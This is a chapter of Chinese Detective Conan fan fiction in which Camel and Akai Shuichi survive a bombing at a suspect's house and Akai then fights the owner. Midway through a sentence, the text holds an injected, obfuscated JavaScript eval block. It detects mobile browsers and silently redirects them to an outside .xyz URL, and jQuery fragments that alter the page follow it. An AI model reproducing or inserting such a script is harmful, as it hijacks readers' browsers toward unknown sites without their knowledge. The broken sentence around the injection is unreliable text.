眼前的长发男人面容实在太熟悉，但偏偏卡迈尔从老家缅因州那边考进FBI学院分配到纽约分部之后没多久，就因为剿灭黑衣组织的任务而长时间停留在日本。 他在纽约根本就没什么熟人，那为什么会觉得眼前的人眼熟？ 想来想去卡迈尔只有两个猜测，要么是他的感觉出了错，认错人了，要么这个托马斯是他以前办案时见过的犯罪分子，是危险人物。 身为FBI探员的基本素养盖过了潜意识的信任，他提醒自己不要被假象迷惑，不要被可疑人员牵着鼻子走。 就算他真是普通民众——让FBI躲在一个普通人背后算什么事？ 所以他说：“不用了，打头阵很危险，你是普通人，恐怕没有足够的危险规避意识。你跟着我，一起去一楼看看情况。放心，我会保护你。” 然后他率先走在前边，留给赤井秀一一个背影。 赤井秀一停顿了一下，听了这话没觉得有多放心，只能在内心无奈地耸耸肩。 获取队友信任是作战技巧里很重要的一环。是他没把控好，让前世的肌肉记忆操纵了身体，所以才唤醒了安德雷.卡迈尔的警惕心。总的来说是他的问题，所以他应该承担后果。 计划的制定者本就应该考虑到所有意外情况。他对自己的要求是随时能为队友托底。说到底比起队友，他总是更信任自己。 没别的办法，赤井秀一就点头跟在了卡迈尔身后。 反正他对自己的实力有信心，就算卡迈尔掉了链子他也能保证自己全身而退。 踏上一楼时赤井秀一就感觉哪哪儿都不对劲，归根究底是太安静了。 照道理说家里有一个高中生年纪的男孩，怎么都不会太寂静，这个年纪大多和上蹿下跳的皮猴子似的，尤其爱社交和趴体。再说，刚刚那男孩还在和自家小女友在一起呢。 若是说全家都出去了那也说不通，迪恩先生可还要引一个人来诬陷，这时候应该在房子里。 这么安静，只有一个可能！ 寒意顺着脊椎向上爬，赤井秀一眼神一厉，向前两步扑倒卡迈尔。 轰—— 是一场小型爆炸！ 炸药被安装在地板里，杀伤范围不大。但倘若赤井秀一没有扑倒卡迈尔，恐怕他们两人都得遭殃。 8. 韦斯特堡高中案（三） 骇人的爆破声划破空气，卡迈尔感受到了热浪，知道自己刚刚和危险擦肩而过。 他当然不怕死，怕死的人从一开始就不会申请对付黑衣组织的任务。身为一个有志向、有目标、有自己内心坚守着的正义的FBI，他随时做好了牺牲自己的准备。 但不代表他想死。 心脏在狂跳，他想到自己被这位眼中的“普通人”救了一命，竟然没觉得有多丢人。 这种情况下很难不对救命恩人产生感激之情，他甚至感觉这种情绪中带上了些崇拜。 ……还是很不对劲，他不是如此轻信的人。他和这位布朗森先生只认识了一个多小时，没道理就这么交付出信任。 吊桥效应也不是这么吊的！ 身为FBI他当然学习过如何分辨吊桥效应，他很肯定这不是。谁家吊桥效应有这种、这种…… 想让人家给自己当队长、当指挥官的冲动啊！ 不行了，这人好靠谱，要是每次行动有他而不是那群歪瓜裂枣的同僚辅助，布莱克先生都能少掉几根头发！ 一直以来内心一直叫嚣着不对的直觉偏偏这次没有发出警报。 自从组织覆灭之后他一直觉得不太对劲，FBI分到的功劳几乎是所有机构里最多的，和作为主战场的日本齐平。 但是为什么？卡迈尔和朱蒂私下里讨论过，但是愣是没想通。 就因为朱蒂和那个名叫江户川柯南的孩子关系好，和他合作了不少次，而那孩子又和工藤新一合作，是摧毁组织的最大功臣？ 但日本那边的降谷零不也这么做了吗，按道理说他的情报提供得还更多！ ……不是说他希望日方拿到更多好处的意思。他只是想不通。 FBI甚至是参与机构中唯一一个没有潜伏进组织的卧底的！ 日本那边有苏格兰和波本、德国那边有威士莲、英国那边有司陶特、意大利那边有阿夸维特，就连CIA都派了两个探员。 ……话说他们为什么不派卧底？ 这问题不能细想，一想就头疼。 他和朱蒂之前相对着头疼了三个晚上，后来感觉这行为实在是很诡异，这才放弃。 问题愈多愈是心慌。他总感觉有什么很重要的事情被忘却了，有什么很关键的东西被抛之脑后了，但他想不起来。 但现在他莫名其妙地不心慌了。 卡迈尔很难忍住去端详那个长发男人。 他会是这个关键吗？ 赤井秀一不知道卡迈尔在想什么，他只知道此地不宜久留，于是爬起来拍拍衣服，拉着看起来吓呆了的卡迈尔就跑。 情况紧急，他说话语速很快，内容简洁。 “你进入迪恩宅是为了获取某些信息？获取到了吗？” 卡迈尔点了点头。刚刚发生的事情很难不让他对赤井秀一的信任又占了上风，毕竟被救下一命劫后余生的感觉实在是令人庆幸。 而且不得不承认的是，这位先生实在是一个很厉害的人。从在地下室醒来到现在，一直给人一种冷静靠谱的感觉。 于是他隐去涉及FBI内部案件的调查的具体内容，告知：“我找到了优盘，但又被杰森.迪恩那小子拿走了。” “好，你去找杰森.迪恩，他的房间在二楼。老迪恩的办公室在别墅三楼，我上去拖时间，分头行动。” 卡迈尔这回选择了跟从心底的直觉听赤井秀一的。他坚定地一点头，就冲着楼梯口跑去。 赤井秀一看自己临时搭子的背影时还挺不习惯，不知道为什么有种诡异的欣慰感，非要说的话类似于“太好了好队友终于学会有分寸地乖乖听话不乱违抗指令了”。 这话用在队友身上很怪，用在便宜儿子身上倒是很符合。赤井秀一回想了一下之前那个就像是在叫妈妈一样情感浓烈的“赤井先生”，再次起了一声鸡皮疙瘩，在心里默默因为自己不太礼貌的联想对这位卡迈尔探员道了个歉。 收敛思绪，赤井秀一快步冲迪恩先生的办公室冲过去。 他之所以知道位置，还是老布朗给他提供的资料。 这种网上查不到的私人资料，确实很有可能放出来用来获取像他这样热血上头跑来做里世界的任务挣钱的愣头青的信任。 不过赤井秀一并不觉得这个资料会是假的。毕竟这是很容易获得的资料，特别是对于这种FBI监督着的别墅来说。 ……迪恩先生能和FBI合作，其他人当然也可以。美国的政府机关就没有什么特别干净的地方。 总之，关于这间别墅的大体布局，赤井秀一还是清楚的，只是细节还需要自己摸索。 其中，二楼是迪恩先生和杰森.迪恩的房间，三楼用来当做工作区，有办公室、会客室、机房等等，只比真正的公司简陋些许。 办公室旁边有一个小隔间，专门用来存放“他感兴趣的东西”。 现在想来，大概率是枪支。 二楼传来了枪响。隔着一层地板传上来的时候闷闷的，但也足够他辨别出这是什么声音。赤井秀一知道杰森.迪恩有枪，他只是大致评估了一下，感觉那小伙子有枪也打不过卡迈尔。 ——再怎么说对方也只是一个十六七岁的男孩，也没接受过官方的系统训练，再有什么乱七八糟的天赋，也不可能真的制住一个FBI探员。 不像迪恩先生，看气质就知道年轻时大概率确实涉及过和里世界相关的事物。 房门紧闭，毫无动静。 这么响的枪声，没道理迪恩先生听不到。赤井秀一暗自皱皱眉。他不觉得自己的推理会有什么问题，大概率是现在正在接待的客人重要到让迪恩先生不敢轻易离开。 迪恩先生不出来就好。他的任务只是确保这个房子里战力最强经验最老的那个家伙不去下面干扰卡迈尔。 按照他的习惯，其实去拿U盘这种更加凶险一点的任务应该会选择优先让自己承担。 但他担忧卡迈尔安全是一回事，也实在不想掺和进FBI的任务。 所以赤井秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506798|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一选择守在迪恩先生办公室门口。 楼下再次连续响起了子弹飞出枪膛的声音。办公室里，迪恩先生大概是和合作伙伴解释好了情况，拉开门打算赶过去。 然后赤井秀一长腿一跨一拳打了上去。 男人打架的时候，黑色的长发会飘起来，绿色的眼眸显得格外凌厉。按道理说，这种发型其实很妨碍行动，但偏偏他可以和自己的头发配合得很好，打架时都像在跳舞。 对队友来说这样的身手很养眼，对敌人来就恰恰相反。 迪恩先生后退两步，显然是没想到对方会在这儿拦自己，伸手就要去掏枪。但赤井秀一不会给他这样的机会。 他欺身上前，手臂肌肉绷紧，攻击得更快速了。拳风掠过迪恩先生，让已经奔五的中年人只能勉强避开。 这一架不是为了打赢，而是拖时间。所以赤井秀一现在的首要目标，是让迪恩先生无暇掏枪。 坐办公室那么多年的企业家，再好再凌厉的身手都会钝掉，何况迪恩先生确实老了。 赤井秀一步步紧逼，他对此应接不暇，即使想要拼着挨了一击的疼痛去掏枪，动作也能预判性地被赤井秀一挡下。 迪恩先生：“……” 这tm到底什么人！ 他是收到了老布朗那儿发来的信息的。他和老布朗的交易有六七年了，一旦他们惹上什么麻烦，就会让那老头送一个愣头青来当道具，解决麻烦。 没想到，这回的“愣头青”，好像不是真正的里世界新手。 老布朗不是说他都是从贫民区进的货吗！即使是纽约，也不至于贫民区里藏龙卧虎吧，又不是漫画里的哥谭！ 坏了！怎么踢到铁板了！ 像他这种身份的人原本身边是要配保镖的，但是一来他和他儿子都不喜欢家里有人盯着，二来最近FBI在他家附近查得怪严的，他没觉得会有意料之外的人打断他的计划，这才疏忽了。 也许是听到合作伙伴有麻烦了，房间里的人走了出来，手里拿着枪。 赤井秀一听到门打开的那一刻就早有准备，矮身躲过子弹，靠近夺了冲出来那人的枪，再回头朝着刚拿出枪的迪恩先生砰砰两枪。 他料定对方不会报警也不会叫FBI——楼下杰森.迪恩还在和卡迈尔打架呢，FBI来了不好解释。 于是子弹洞穿迪恩先生的手腕，这位风光了几十年的房产大亨显然没想过自己会这么倒霉。 这人不可能是普通人！这个射击准头，一看就知道是里世界混过的！ 迪恩先生开始回忆自己近期到底惹到过哪个大佬，殊不知赤井秀一的诉求很简单。 他只想搞钱，本来把军火交给迪恩先生就得了，没想到对方设了陷阱等着他跳。他难道还能真的跳进去不成？ 就在此时，却忽然听到那个从办公室里冲出来的合作对象“啪”一下跪下了，开口求饶：“琴琴琴琴琴酒大人！小的错了！” 赤井秀一：“？” 你管我叫什么？